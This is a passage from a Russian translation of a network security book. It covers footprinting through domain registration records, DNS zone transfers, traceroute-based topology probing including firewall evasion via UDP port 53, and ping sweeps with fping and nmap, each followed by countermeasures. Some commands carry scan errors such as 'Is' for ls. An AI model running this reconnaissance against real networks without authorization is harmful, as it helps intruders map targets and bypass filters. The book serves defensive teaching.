    Очень типичной является ситуация, когда администратор, давно уволившийся из организации, по-прежнему может изменить регистрационную информацию об этой организации. Поэтому прежде всего нужно постоянно следить за тем, чтобы информация, хранящаяся в этой базе данных, была точной. При первой же необходимости обновляйте административные, технические и финансовые контактные данные. Более того, продумайте, как обезопасить себя от возможного использования злоумышленниками номеров телефонов, указанных в контактных данных (например, взломщик может воспользоваться этими номерами для автопрозвона). Если это возможно, воспользуйтесь номерами бесплатных телефонов (toll-free) или номерами, которые не используются в вашей организации. Нам приходилось встречаться с организациями, которые указывали в качестве администратора вымышленное лицо, что, без условно, может оказаться западней для злоумышленника. Если любой сотрудник организации знает, что в случае получения электронного сообщения или звонка от имени человека, представляющегося администратором с указанным в регистрационных данных вымышленным именем, он должен немедленно уведомить об этом службу безопасности — это, безусловно, затруднит задачу взломщика.
    Еще одна потенциальная опасность, связанная с регистрацией доменов, состоит в том, что некоторые компании-регистраторы разрешают обновлять регистрационные данные. Например, в настоящее время компания Network Solutions разрешает автоматически изменять доменную информацию через Internet. При этом лицо, зарегистрировавшее домен, аутентифицируется одним из следующих трех способов: по содержимому поля FROM электронной почты, с помощью пароля и с помощью алгоритма шифрования Pretty Good Privacy (PGP). К сожалению, по умолчанию используется метод проверки содержимого поля FROM, который (невероятно, но факт!) и выбирают многие администраторы сетей при регистрации своих доменов. Естественно, ни о какой безопасности при таком подходе говорить не приходится. Любой злоумышленник может воспользоваться электронным адресом администратора и изменить информацию о домене. (Такая ситуация получила название "доменного пиратства" (domain hijacking).) Именно это и произошло с компанией AOL 16 октября 1998 года, о чем рассказывалось в газете Washington Post. Кто-то выдал себя за служащего AOL и изменил доменную информацию AOL таким образом, чтобы все запросы к их серверам отправлялись в домен autonete.net. Конечно, компания AOL быстро восстановила работоспособность серверов, однако этот случай очень ярко демонстрирует, насколько порой хрупким может быть все, что связано с Internet. Поэтому важно выбрать какое-то более надежное решение, защитив регистрационные данные с помощью пароля или PGP. Более того, необходимо, чтобы изменение административных или технических контактных данных выполнялось с использованием механизма аутентификации с помощью формы Contact Form узла Network Solutions.


    4.gif

    Изображение: 

    7. Этап 3. Прослушивание серверов DNS



    Этап 3. Прослушивание серверов DNS


    После установления всех доменов можно приступать к работе с серверами DNS. DNS — это распределенная база данных, предназначенная для преобразования IP-адресов в имена узлов и наоборот. Если сервер DNS не настроен на обеспечение максимальной степени защиты, то с его помощью можно получить информацию о внутренней сети организации.

    Перенос зоны



    Одна из самых серьезных ошибок администратора при настройке параметров сети состоит в предоставлении возможности взломщику осуществить перенос зоны DNS.
    При переносе зоны (zone transfer) вторичный сервер DNS может обновить собственную базу данных зоны на основании данных, полученных от первичного DNS-сервера. Это позволяет обеспечить избыточность в работе службы DNS, которая необходима для тех случаев, когда первичный сервер по каким-то причинам становится недоступным. В общем случае вполне достаточно, чтобы перенос зоны выполнялся только вторичным DNS-сервером. Однако многие DNS-серверы настроены таким образом, что предоставляют копию зоны любому узлу Internet по первому же запросу. В этом нет ничего плохого при условии, что предоставляемая информация содержит лишь сведения о компьютерах, непосредственно подключенных к Internet. Однако такая возможность таит в себе опасность того, что полученные взломщиком сведения могут облегчить его задачу проникновения в сеть. Эта угроза реализуется в полной мере, когда в организации не используется механизм разделения DNS-информации на общедоступную и закрытую. Если это так, то любой желающий без особых проблем может получить сведения об именах узлов и IP-адресах внутренней сети. Предоставление информации о внутренних IP-адресах кому попало можно сравнить лишь с предоставлением полной схемы внутренней сети организации.
    Давайте рассмотрим несколько методов переноса зоны, а также выясним, какие сведения можно получить из этих данных. Из всего множества различных инструментов, которые можно применять для выполнения данной операции, мы рассмотрим лишь самые распространенные.
    Один из самых простых методов переноса зоны состоит в использовании клиента nslookup, который обычно входит в комплект поставки большинства версий UNIX и NT. Воспользуемся этой утилитой и введем следующие данные.

    [bash]$ nslookup
    Default Server: dns2.acme.net
    Address: 10.10.20.2
    >> server 10.10.10.2
    Default Server: [10.10.10.2]
    Address: 10.10.10.2
    >> set type=any
    >> Is -d Aome.net. >> /tmp/zone_out

    Первая введенная команда — это запуск утилиты nslookup в интерактивном режиме. После запуска утилита сообщает, какой сервер им,ен в данный момент используется по умолчанию. Обычно таким сервером является DNS-сервер вашей организации или DNS-сервер провайдера. Поскольку используемый в данном примере DNS-сервер (10.10.20.2) не обслуживает интересующий нас домен, нам нужно перейти на другой сервер, на котором мы сможем найти необходимую информацию о внутренней сети. Таким образом, утилите nslookup необходимо явно сообщить о том, к какому серверу DNS ей нужно обратиться. В нашем примере мы будем использовать основной сервер сети Acme Networks с адресом 10.10.10.2. Вспомните, что его адрес мы узнали из регистрационной базы данных доменов на предыдущем этапе. Затем мы устанавливаем тип записи any, что означает, что в список выбранных записей будут отобраны все записи из базы данных DNS-сервера. (Подробнее о параметрах утилиты nslookup можно узнать с помощью команды man nslookup (UNIX) или nslookup ? (NT).)
    И наконец, для получения всех записей, соответствующих заданному критерию, воспользуемся командой Is. Параметр -d служит для включения режима вывода всех записей домена. В конце доменного имени добавлен символ ".", как это требуется для явного задания полностью определенного имени (fully qualified domain name). Однако в большинстве случаев точку можно не использовать. Кроме того, мы переназначили вывод в файл /tmp/zone_out для возможности дальнейшего анализа полученных данных.
    После выполнения переноса зоны можно открыть созданный файл и посмотреть, содержится ли в нем информация, которая может помочь нам в выборе какой-то конкретной системы в качестве плацдарма для проникновения в сеть. Вот фрагмент такого файла.

    [bash]$ more zone_out
    acctlS ID IN A ' 192.168.230.3
    ID IN HINFO "Gateway2000" "WinWKGRPS"
    ID IN MX 0 acmeadmin-smtp
    ID IN RP bsmith.rci bsmith.who
    ID IN TXT "Location:Telephone Room"
    ce ID IN CNAME aesop
    au ID IN A 192.168.230.4
    ID IN HINFO "Aspect" "MS-DOS"
    ID IN MX 0 andromeda
    ID IN RP jcoy.erebus jcoy.who
    ID IN TXT "Location: Library"
    acct21 ID IN A 192.168.230.5
    ID IN HINFO "Gateway2000" "WinWKGRPS"
    ID IN MX 0 acmeadmin-smtp
    ID IN RP bsmith.rci bsmith.who
    ID IN TXT "Location:Accounting"

    Мы не будем рассматривать подробно каждый элемент всех найденных записей, а остановимся лишь на некоторых важных типах информации, которую можно получить таким образом. Как видно из приведенного выше листинга, для каждого узла имеется запись типа 'А, содержащая IP-адрес узла, имя которого указано в левом столбце. Кроме того, каждый узел имеет запись типа HINFO, идентифицирующую используемую платформу или операционную систему (описание см. в RFC 952). Информация записей HINFO не используется операционными системами, однако очень часто оказывается полезной для взломщиков. Поскольку результаты переноса зоны сохранены в файле, то его содержимое без особых проблем можно отсортировать с помощью таких программ UNIX, как grep, sed, awk или perl.
    Предположим, взломщик является экспертом какой-нибудь определенной операционной системы, например SunOS или Solaris. В таком случае найти в файле IP-адреса, соответствующие записям HINFO компьютеров SPARC, Sun или Solaris, можно с помощью следующей команды.

    [bash]$ grep -i Solaris zone_out |wc -1 388

    Таким образом, взломщик имеет 388 записей, в которых присутствует слово Solaris, и каждый из этих 388 компьютеров может стать потенциальной жертвой.
    Предположим, нужно найти компьютеры, которые используются для тестирования программного обеспечения или аппаратных средств. Такие компьютеры часто представляют "лакомый кусок" для взломщика, поскольку обычно на них установлены минимальные средства обеспечения безопасности, используется легко угадываемый пароль, а администраторы, как правило, не следят за тем, кто за ними работает. Такие компьютеры идеально подходят для взлома! Поэтому можно попробовать поискать тестовые системы с помощью следующей команды.

    [bash]$ grep -i test /tmp/zone_out |wc -1 96

    Итак, в нашем распоряжении около сотни записей файла зоны, в которых содержится слово test. Как правило, это количество примерно соответствует количеству реальных тестовых систем сети. Приведенные примеры — лишь малая часть того, что можно при известной доле настойчивости и изобретательности получить из файла зоны. Опытный взломщик, "просеяв через сито" полученные данные, рано или поздно выявит самый уязвимый компьютер сети, с которого он сможет начать вторжение.
    Существуют некоторые особенности, о которых нужно помнить. Вышеописанный метод позволяет одновременно обращаться лишь к одному серверу имен. Это означает, что взломщику придется выполнить те же операции по отношению ко всем остальным серверам имен, обслуживающим требуемый домен. Кроме того, мы обращались с запросом лишь к домену Acme.net. Если в представляющей интерес сети имеются подчиненные домены, придется выполнить те же действия и с каждым из них (например, greenhouse.Acme.net). И наконец, можно получить сообщение о том, что список записей домена недоступен или что запрос не может быть выполнен. Такое сообщение обычно говорит о том, что параметры настройки запрещают выполнять перенос зоны с этого сервера. Однако если в сети несколько серверов, то, возможно, удастся найти тот из них, который позволяет осуществлять перенос зоны.
    Теперь, когда вы познакомились с тем, как перенос зоны выполняется вручную, можно рассмотреть и те средства, которые позволяют ускорить этот процесс. К таким средствам относятся host, Sam Spade, axfr и dig.
    Команда host входит в комплект поставки многих версий системы UNIX. Вот несколько самых простых способов ее использования. 
     host -1 Acme.net
    или 
    host -I -v -t any Acme.net
    Если нужно определить лишь IP-адреса, чтобы впоследствии вставить их в сценарий оболочки, можно воспользоваться командой cut, позволяющей выделить IP-адреса из выходного листинга команды host.

    >>host -l acme.net |cut -f 4 -d" " » /tmp/ip_out

    В процессе предварительного сбора данных использовать команды системы UNIX для выполнения всех задач нет необходимости. Существует довольно много продуктов для Windows, которые позволяют получить ту же информацию (рис 1.5).
    И наконец, можно воспользоваться одним из лучших средств переноса зоны — утилитой axfr (http://ftp.edit.edu.cn/pub/linux/
    www.trinux.org/src/netmap/axfr-0.5.2.tar.gz
    ), написанной Гаюсом (Gaius). Эта утилита последовательно опрашивает указанные домены, выполняет для каждого из них перенос зоны и создает сжатую базу данных зоны и файлов узлов по каждому домену. Кроме того, в качестве параметра этой утилите можно передать домены верхнего уровня, такие как com или edu, и получить таким образом список всех доменов, связанных с указанным доменом. Однако этой возможностью пользоваться не рекомендуется. Для запуска утилиты axfr используйте следующую команду.

    [bash]$ axfr Acme.net
    axfr: Using default directory:
    /root/axfrdb Found 2 name servers for domain 'Acme.net.':
    Text deleted.
    Received XXX answers (XXX records).

    Для того чтобы обратиться с запросом к полученной с помощью утилиты axf r базе данных, необходимо ввести следующую команду. [bash]$ axfrcat Acme.net

    Получение записей обмена почтой (MX)



    Определение компьютера, на котором обрабатывается почта,— это один из наиболее удачных способов выявления сетевого брандмауэра представляющей интерес организации. Как правило, в коммерческих компаниях почта обрабатывается на том же компьютере, который служит в качестве брандмауэра, или по крайней мере на компьютере, который находится в том же сегменте сети. Для получения более подробной информации можно воспользоваться командой host.

    [bash]$ host Acme.net
    Acme.net has address 10.10.10.1
    Acme.net mail is handled (pri=20) by smtp-forward.Acme.net
    Acme.net mail is handled (pri=10) by gate.Acme.net



    Рис. 1.5. Приверженцы Windows могут выполнить перенос зоны, а также другие задачи предварительного сбора данных с помощью многофункциональной утилиты Sam Spade

    Если команда host применяется без параметров либо только с именем домена, то сначала она попытается найти записи А, а затем записи MX. Приведенная выше информация пересекается с той информацией, которую ранее была получена при поиске в базе данных ARIN с использованием утилиты whois. Это лишний раз подтверждает, что мы правильно определили адрес нужной нам сети.

    Контрмеры: обеспечение безопасности базы данных DNS



    Информация DNS представляет для хакера очень большой интерес, поэтому очень важно уменьшить объем данных, доступных через Internet. С точки зрения настройки узла, необходимо ограничить возможность переноса зоны, разрешив ее лишь определенным серверам. В современных версиях службы BIND для этих целей можно использовать директиву xfernets файла named.boot. Для того чтобы ограничить возможность переноса зоны службы DNS компании Microsoft, необходимо использовать параметр Notify (более подробную информацию по этому вопросу можно найти по адресу http://support.-microsoft.eom/support/kb/articles/ql93/8/37.asp). Для настройки служб имен других разработчиков необходимо обратиться к соответствующей документации.
    С точки зрения зашиты сети необходимо настроить брандмауэр или фильтрующий маршрутизатор таким образом, чтобы они отсекали все несанкционированные входящие соединения с портом 53 протокола TCP. Поскольку в запросах на получение имен используется протокол UDP, а в запросах на перенос зоны — протокол TCP, это позволит эффективно пресекать любые попытки переноса зоны. Кроме того, целесообразно установить устройство управления доступом или систему выявления вторжений (IDS — intrusion detection system), чтобы регистрировать всю информацию, которая может свидетельствовать об опасных действиях.
    Ограничение возможности переноса зоны увеличит время, которое должен потратить взломщик, перебирая IP-адреса и пробуя разные имена узлов. Однако поскольку запросы на получение имен по-прежнему остаются разрешенными, взломщик может вручную перебрать все IP-адреса из выделенного для сети диапазона адресов. Таким образом, настройте внешние серверы имен так, чтобы они предоставляли информацию только о компьютерах, которые непосредственно подключены к Internet. Эти внешние серверы DNS ни при каких обстоятельствах не должны разглашать информацию о внутренней сети. Может показаться, что перечисленные выше рекомендации являются очевидными, однако мы не редко встречали DNS-серверы, которые позволяли "вытащить" из них более 16000 внутренних IP-адресов и имен узлов. И наконец, лучше не использовать записи HINFO. Как вы увидите ниже в этой главе, это вряд ли поможет скрыть от взломщика тип операционной системы, однако затруднит его задачу, так как он не сможет автоматизировать процесс получения данной информации программным способом.


    5.gif

    Изображение: 

    8. Этап 4. Зондирование сети



    Этап 4. Зондирование сети


    Установив возможные сетевые адреса, можно попытаться определить топологию сети, а также возможные пути проникновения в нее.

    Отслеживание маршрутов



    Эта задача может быть выполнена с помощью утилиты traceroute (ftp://ftp.ee. lbl.gov/traceroute.tar.Z), которая входит в комплект поставки практически всех версий UNIX и Windows NT. В системе Windows NT название утилиты адаптировано к формату 8.3 — tracert.
    Утилита traceroute, написанная Ван Якобсоном (Van Jacobson), представляет собой диагностическое средство, позволяющее отслеживать маршрут, по которому IP-пакеты проходят при передаче от одного узла к другому. Для получения от каждого из отслеживаемых узлов сообщения ICMP TIME_EXCEEDED утилита использует параметр TTL (time to live — время жизни) пакета IP. Каждый маршрутизатор, который обрабатывает такой пакет, должен уменьшить на единицу значения поля TTL. Таким образом, поле TTL играет роль счетчика пройденных узлов (hop counter). Мы воспользуемся утилитой traceroute, чтобы определить точный путь, по которому проходят наши пакеты. Как уже упоминалось выше, эта утилита играет роль зонда, с помощью которого можно выяснить топологию представляющей интерес сети. Кроме того, она позволяет выявить устройства управления доступом (программные брандмауэры или фильтрующие маршрутизаторы), которые могут отфильтровывать инициализируемый исследователем поток данных.
    Рассмотрим следующий пример.

    [bash]$ traceroute Acme.net
    traceroute to Acme.net (10.10.10.1), 30 hops max, 40 byte packets
    1 gate2 (192.168.10.1) 5.391 ms 5.107 ms 5.559 ms
    2 rtrl.bigisp.net (10.10.12.13) 33.374 ms 33.443 ms 33.137 ms
    3 rtr2.bigisp.net (10.10.12.14) 35.100 ms 34.427 ms 34.813 ms
    4 hssitrt.bigisp.net (10.11.31.14) 43.030 ms 43.941 ms 43.244 ms
    5 gate.Acme.net (10.10.10.1) 43.803 ms 44.041 ms 47.835 ms

    На основании полученной информации можно проследить путь, по которому пакеты, прошедшие через маршрутизатор (шлюз), проследовали, миновав три узла (2—4), к точке назначения. На всем пути следования пакеты нигде не были заблокированы. На основании ранее полученной информации известно, что МХ-запись домена Acme. net указывает на узел gate.acme.net. Следовательно, можно предположить, что этот узел является не логическим устройством, а реальным компьютером сети, а сегмент, через который пакет прошел на предыдущем шаге (4), — это пограничный маршрутизатор организации. Сегмент 4 может быть реализован как в виде выделенного программного брандмауэра, так и в виде простого фильтрующего маршрутизатора. На данном этапе об этом пока трудно судить. Как правило, именно на устройство, находящееся на сегменте, непосредственно за которым находится реальный компьютер сети, возлагается задача маршрутизации (например, маршрутизатор или брандмауэр).
    Рассмотренный пример слишком прост. В реальных ситуациях к одному и тому же узлу может вести несколько маршрутов, создаваемых устройствами с несколькими интерфейсами (например, маршрутизаторы серии Cisco 7500). Более того, каждый интерфейс может иметь собственный список управления доступом (ACL — access control list). Зачастую некоторые интерфейсы такого устройства пропускают запросы traceroute, а другие — нет, что определяется конкретным списком ACL. Таким образом, очень важно с помощью traceroute получить схему всей сети. После того как вы попробуете проследить с помощью traceroute маршруты, по которым проходят пакеты к каждому выявленному вами узлу сети, можно создать схему сети, наглядно демонстрирующую архитектуру шлюза Internet, а также показывающую, в каких местах расположены устройства, выполняющие функции управления доступом. Мы будем называть эту схему диаграммой путей доступа (access path diagram).
    Необходимо подчеркнуть, что большинство версий traceroute систем UNIX по умолчанию отправляют пакеты UDP (User Datagram Protocol), а пакеты ICMP (Internet Control Messaging Protocol) — только в случае явного указания параметра -I. Однако в Windows NT для этих целей по умолчанию используются пакеты протокола ICMP, называемые эхо-запросами (echo request). Поэтому, если исследуемый узел блокирует либо пакеты UDP, либо ICMP, вы можете получать в разных операционных системах различные результаты. Среди других интересных параметров traceroute можно отметить параметр -q, который позволяет пользователю определять маршрутизацию с потерей источника запроса. Если вы уверены, что интересующий вас шлюз пропускает пакеты с измененным источником (что является очень большой ошибкой администратора этого шлюза), то можно попробовать включить данный режим, указав нужное количество участков (более подробную информацию можно получить с помощью команды man traceroute).
    Имеется и несколько других параметров, которые позволяют обойти устройства управления доступом. Например, параметр -р n утилиты traceroute дает возможность указать начальный номер порта UDP (л), который должен увеличиваться на 1 при каждой попытке отслеживания маршрута. Таким образом, мы не сможем использовать фиксированные номера портов, не модифицируя traceroute. К счастью, Майкл Шифман (Michael Schiffman) уже создал модуль обновления, который позволяет с помощью дополнительного параметра -S остановить автоматическое увеличение счетчика для traceroute версии 1.4а5 (ftp://ftp.ee.lbl.gov/traceroute-1. 4a5.tar. Z). Это позволяет в каждом отправляемом пакете использовать один и тот же номер порта в надежде на то, что устройство управления доступом пропустит эти пакеты во внутреннюю сеть. Как правило, для этих целей лучше всего подходит UDP-порт с номером 53 (запросы DNS). Поскольку многие узлы пропускают входящие запросы DNS, существует высокая вероятность того, что устройство управления доступом не среагирует на такую попытку проникновения. 

    [bash]$ traceroute 10.10.10.2
    traceroute to (10.10.10.2), 30 hops max, 40 byte packets
    1 gate (192.168.10.1) 11.993 ms 10.217 ms 9.023 ms
    2 rtrl.bigisp.net (10.10.12.13)37.442 ms 35.183ms 38.202ms
    3 rtr2.bigisp.net (10.10.12.14) 73.945 ms 36.336 ms 40.146 ms
    4 hssitrt.bigisp.net (10.11.31.14) 54.094 ms 66.162 ms 50.873 ms
    5 * * *
    6 * * *

    Из листинга видно, что попытка использования утилиты traceroute, которая по умолчанию отсылает пакеты UDP, была заблокирована брандмауэром.
    Теперь еще раз попробуем запустить утилиту traceroute, однако на этот раз будем использовать фиксированный порт UDP 53, который используется для запросов DNS.

    [bash]$ traceroute -S -p53 10.10.10.2
    traceroute to (10.10.10.2), 30 hops max, 40 byte packets
    1 gate (192.168.10.1) 10.029ms 10.027ms 8.494ms
    2 rtrl.bigisp.net (10.10.12.13) 36.673 ms 39.141 ms 37.872 ms
    3 rtr2.bigisp.net (10.10.12.14) 36.739 ms 39.516 ms 37.226 ms
    4 hssitrt.bigisp.net (10.11.31.14)47.352 ms '47.363 ms 45.914 ms
    5 10.10.10.2 (10.10.10.2),50.449ms 56.213ms 65.627ms

    Поскольку теперь пакеты не вызывают подозрения у устройства управления доступом (сегмент 4), они без проблем его преодолевают. Таким образом, мы можем зондировать узлы, находящиеся за устройством управления доступом, просто отправляя запросы по протоколу UPD в порт 53. Кроме того, если вы будете зондировать систему, которая опрашивает порт 53 на предмет поступления сообщений по протоколу UDP, вы не получите обычного сообщения ICMP о том, что данная система недоступна. Таким образом, если вы не увидели информации об узле, это означает, что пакеты дошли до цели.
    Все операции, которые мы проделывали до сих пор с утилитой traceroute, выполнялись в командной строке. Если вам по душе графический Интерфейс, то можно воспользоваться утилитой VisualRoute (www.visualroute.com) или NeoTrace (http://www. neotrace. com/). Утилита VisualRoute наглядно представляет каждый пройденный сегмент маршрута и связывает его с запросами whois. Хотя, эта утилита представляет получаемые данные в удобном формате, однако, как правило, ее возможностей для широкомасштабного зондирования больших сетей оказывается недостаточно.

    Существуют специальные приемы, позволяющие уточнить данные о списке ACL, используемом для конкретного устройства управления доступом. Одним из таких методов является сканирование протокола брандмауэра (firewall protocol scanning), о чем пойдет речь в главе 11, "Брандмауэры".

    Контрмеры: как пресечь зондирование сети



    В данной главе мы лишь слегка затронули такую обширную тему, как методы зондирования сети. В последующих главах мы снова вернемся к ней и поговорим о более серьезных методах. Однако уже сейчас можно сформулировать некоторые соображения о том, как предотвратить рассмотренные выше попытки зондирования. Во-первых, многие коммерческие системы выявления вторжений (NIDS — Network Intrusion Detection Systems) позволяют выявлять попытки зондирования такого рода. Кроме того, подобные вторжения можно выявить с помощью бесплатной программы Марти Рош (Marty Roach) (http://www.snort.org/). Если вы хотите принять меры и защититься от зондирования сети с помощью утилиты traceroute, обратите внимание на утилиту RotoRouter, написанную Хамблом (Humble) (http://packet storm, securify .com/linux/trinux/src/rr-l.0 . tgz). Эта утилита позволяет не только регистрировать входящие от утилиты traceroute запросы, но и генерировать ложные ответы. И наконец, в зависимости от общей политики безопасности вашей организации можно настроить пограничные маршрутизаторы таким образом, чтобы ограничить поток данных по протоколам ICMP и UDP только строго определенными узлами. Такой подход позволит свести риск проникновения во внутреннюю сеть посредством зондирования к минимуму.


    9. Резюме



    Резюме


    Итак, в распоряжении злоумышленника имеется целый ряд приемов, с помощью которых он может зондировать сеть или собирать о ней предварительную информацию. В данной главе мы лишь слегка затронули самые распространенные и типичные из этих приемов, поскольку новые средства и инструменты появляются чуть ли не ежедневно и любые детали могут быстро устаревать. Кроме того, все основные принципы предварительного сбора информации рассматривались на упрощенных примерах. На практике специалистам, возможно, придется столкнуться гораздо с более сложной задачей, состоящей в противостоянии сбору данных о десятках или сотнях доменов и их идентификации. Именно по этой причине мы в своей работе стараемся автоматизировать выполнение как можно большего числа задач, комбинируя сценарии оболочки, программы на языке Perl и другие средства. В Internet постоянно "рыщет" множество квалифицированных и опытных взломщиков, которых еще никто и никогда не ловил за руку. Поэтому не забывайте о том, что чем меньше информации о внутренней архитектуре будет доступно в глобальной сети и чем тщательнее будет выполняться мониторинг всех событий, тем сложнее взломщику будет проникнуть в сеть.


    Глава 2. Сканирование



    Глава 2. СКАНИРОВАНИЕ




      1. Сканирование



      Сканирование


      Если процесс предварительного сбора данных можно сравнить со скрытым наблюдением, цель которого — добыть как можно больше информации, не выдавая себя, то сканирование — это "разведка боем". Цель сканирования — выявить открытые "окна" и "двери". В предварительно собранной информации содержатся сведения об адресах подсетей и отдельных компьютеров, полученных с помощью запросов whois и переноса зоны. Информация, собранная на этом этапе, очень ценна для взломщика, поскольку содержит такие данные, как имена и фамилии сотрудников, номера телефонов, диапазоны IP-адресов, адреса DNS-серверов и почтовых серверов. Теперь можно приступать к выявлению тех компьютеров, которые подключены к сети и достижимы из Internet. Для этого будут использоваться разнообразные средства и приемы, такие как ping-прослушивание, сканирование портов и различные методы, позволяющие автоматизировать выполнение этих задач.
      Необходимо отметить, что факт наличия IP-адреса в перенесенной зоне еще не означает, что к соответствующему узлу можно получить доступ через Internet. Необходимо проверить каждый конкретный компьютер в отдельности и выяснить, подключен ли он к Internet и имеются ли на нем порты, находящиеся в состоянии ожидания запросов. Нам приходилось встречать немало неправильно настроенных DNS-серверов, которые предоставляли всем желающим адреса обслуживаемых ими частных сетей (например, 10.10.10.0). Поскольку такие адреса не маршрутизируются по Internet, вы понапрасну будете тратить время, пытаясь связаться с ними. Более подробная информация о том, какие адреса являются маршрутизируемыми, приведена в RFC 1918(http://www.ietf.org/rfc/rfcl918.txt).
      Теперь давайте перейдем ко второму этапу сбора информации — сканированию.

      Прослушивание сети с помощью утилиты ping



      Одним из основных этапов в определении структуры сети является ее автоматизированное прослушивание с помощью утилиты ping по диапазону IP-адресов или адресам подсетей. Цель такого прослушивания — определить, имеется ли у отдельных компьютеров подключение к Internet. Утилита ping отправляет пакеты ICMP ECHO (тип 8) указанному компьютеру и ожидает ответного пакета ICMP ECHO_REPLY (тип 0). Получение такого ответа говорит о том, что компьютер в данный момент подключен к Internet. Хотя при некоторой настойчивости с помощью утилиты ping можно определить количество постоянно подключенных к Internet компьютеров в небольшой и даже средней сети, ручной перебор сетевых адресов будет малоэффективен, если необходимо обследовать корпоративную сеть крупной организации.
      Для выполнения ping-прослушивания можно воспользоваться любым из .G® \*-» многочисленных средств, разработанных как для системы UNIX, так и для i-""""" Windows NT. В мире UNIX одним из самых надежных и проверенных методов такого прослушивания является использование утилиты fping (http:/ packetstorm security.com/Exploit_Code_Archive/fping.tar.gz). В отличие от других подобных утилит, которые перед переходе к тестированию следующего компьютера ожидают ответа на ранее посланный запрос, утилита fping рассылает все запросы одновременно, а затем ожидает ответа сразу от всех узлов. Именно поэтому утилита fping обеспечивает гораздо более высокую скорость прослушивания большого диапазона IP-адресов, чем обычная утилита ping. Утилита fping была написана специально для использования в сценариях оболочек совместно с утилитой gping (http://www.hacking-exposed.com/tools/tools.html), которая входит в пакет, распространяемый вместе с fping. Утилита gping генерирует список IP-адресов, передаваемых на вход fping для прослушивания. Листинг использования утилиты gping для сетей класса А, В или С может показаться слегка непонятным, поэтому рассмотрим его подробнее.

      [tsunami ]'$ gping
      usage: gping aO aN bO bN cO cN dO dN
      gping a bO bN cO cN dO dN
      gping a b cO cN dO dN
      gping a b с dO dN
      gping abcd

      В качестве параметров утилите gping необходимо передать диапазон IP-адресов. На основании этого диапазона будет генерироваться листинг, в котором адреса перебираются друг за другом. Каждый октет передаваемого IP-адреса должен отделяться от остальных пробелами. Например, если мы собираемся генерировать IP-адреса для сети класса С, нам необходимо просто добавить 254 в качестве последнего параметра. Это позволит утилите перебрать все адреса от 192.168.1.1 до 192.168.1.254. Предположим, что эта сеть не содержит подсетей и использует маску подсети 255.255.255.0. Кроме того, мы не будем проверять адрес самой сети 192.168.1.0 и адрес широковещательной рассылки 192.168.1.255. Следует избегать применения утилиты ping к адресам широковещательной рассылки, поскольку это может привести к отказу, или так называемому состоянию DoS (denial of service), если ответный пакет одновременно будет сгенерирован многими узлами (более подробная информация о том, как установить маску подсети узла, приведена в документации по запросам ICMP). С использованием утилиты gping можно сгенерировать перечень адресов, которые затем будут использоваться утилитой fping.

      [tsunami] gping 192 168 1 1 254
      192.168.1.1
      192.168.1.2
      192.168.1.3
      192.168.1.4
      192.168.1.5
      192.168.1.251
      192.168.1.252
      192.168.1.253
      192.168.1.254

      Теперь в нашем распоряжении имеется список всех узлов, которые могут находиться в исследуемой сети класса С. Осталось лишь перенаправить вывод утилиты gping на вход утилиты fping, которая выполнит прослушивание сети и определит, какие компьютеры в данный момент подключены к сети.

      [tsunami]? gping 192 168 1 1 254 | fping -a
      192.168.1.254 is alive
      192.168.1.227 is alive
      192.168.1.224 is alive
      192.168.1.3 is alive
      192.168.1.2 is alive
      192.168.1.1 is alive
      192.168.1.190 is alive

      Параметр -а утилиты fping предназначен для включения режима, в котором выводится информация обо всех активных в данный момент компьютерах сети. Если нужно, утилита может выводить и информацию об именах узлов. Этот режим включается с помощью параметра -d. По нашему мнению, параметр -а лучше всего использовать в сценариях оболочки, а параметр -d — при исследовании сети на предмет поиска определенных узлов. Среди других параметров необходимо упомянуть -f, который позволяет вводить адреса из заранее подготовленного файла, а также -h, с помощью которого можно получить перечень всех параметров утилиты и режимов их использования. Еще одной утилитой, о которой мы будем много говорить в этой книге, является утилита nmap, созданная хакером по имени Федор (Fyodor) (www.insecure.org/nmap). Более подробно эта утилита будет рассматриваться ниже в этой главе, однако будет нелишним упомянуть, что, кроме всех остальных возможностей, данная утилита также позволяет выполнить прослушивание сети. Для включения соответствующего режима необходимо указать параметр -SP.

      [tsunami] nmap -sP 192.168.1.0/24
      Starting nmap V. 2.53 by fyodor@insecure.org
      ( www.insecure.org/nmap/)
      Host (192.168.1.0) seems to be a subnet broadcast
      address (returned 3 extra pings).
      Host (192.168.1.1) appears to be up.
      Host (192.168.1.10) appears to be up.
      Host (192.168.1.11) appears to be up.
      Host (192.168.1.15) appears to be up.
      Host (192.168.1.20) appears to be up.
      Host (192.168.1.50) appears to be up.
      Host (192.168.1.101) appears to be up.
      Host (192.168.1.102) appears to be up.
      Host (192.168.1.255) seems to be a subnet broadcast
      address (returned 3 extra pings).
      Nmap run completed — 256
      IP addresses (10 hosts up) scanned in 21 seconds

      Что касается приверженцев Windows, они также не остались без внимания. В частности, имеется такая бесплатная утилита, как Finger (рис. 2.1), написанная хакерами из группы Rhino9 (http://www.nmrc.org/files/snt/). Эта утилита является одной из самых быстрых в своем классе. Как и fping, утилита Finger одновременно рассылает несколько ICMP-пакетов ECHO, а затем ожидает поступления ответов. Кроме того, Finger позволяет также получать имена узлов и сохранять результаты своей работы в файле. Такой же скоростью, как и Finger, обладает коммерческий продукт Ping Sweep, предлагаемый компанией SolarWinds (www.solarwinds.net). Поразительная скорость работы Ping Sweep объясняется тем, что данная программа позволяет устанавливать время задержки между передаваемыми пакетами (delay time). Установив это значение равным 0 или 1, можно просканировать всю сеть класса С и получить имена ее узлов менее чем за 7 секунд. Однако при использовании этих средств соблюдайте осторожность, поскольку в этом случае можно значительно снизить пропускную способность какого-нибудь низкоскоростного канала, например канала ISDN с пропускной способностью 128 Кбит/с или Frame Relay (не говоря уже о спутниковом или инфракрасном канале).
      Среди других утилит Windows, предназначенных для прослушивания сети, можно отметить WS_Ping ProPack (www.ipswitch.com) и Netscan Tools (www.nwpsw.com). Хотя возможностей этих утилит вполне достаточно для прослушивания небольших сетей, они значительно медленнее Finger и Ping Sweep. Кроме того, не забывайте, что утилиты с графическим интерфейсом, несмотря на удобство их использования, лишают вас возможности их применения в сценариях и автоматизированных процедурах.
      Возможно, вы хотите спросить, как поступать, если исследуемый узел блокирует сообщения ICMP? Хороший вопрос. Такой подход зачастую применяется на тех узлах, администраторы которых заботятся о безопасности. Однако, несмотря на блокировку пакетов ICMP, существуют дополнительные средства и методы, позволяющие определить, подключен ли такой узел к сети или нет. Вместе с тем необходимо отметить, что все эти средства оказываются не такими точными и эффективными, как обычные утилиты семейства ping.



      Рис. 2.1. Утилита finger — одна из самых быстрых утилит ping-прослушивания, которая к тому же распространяется бесплатно

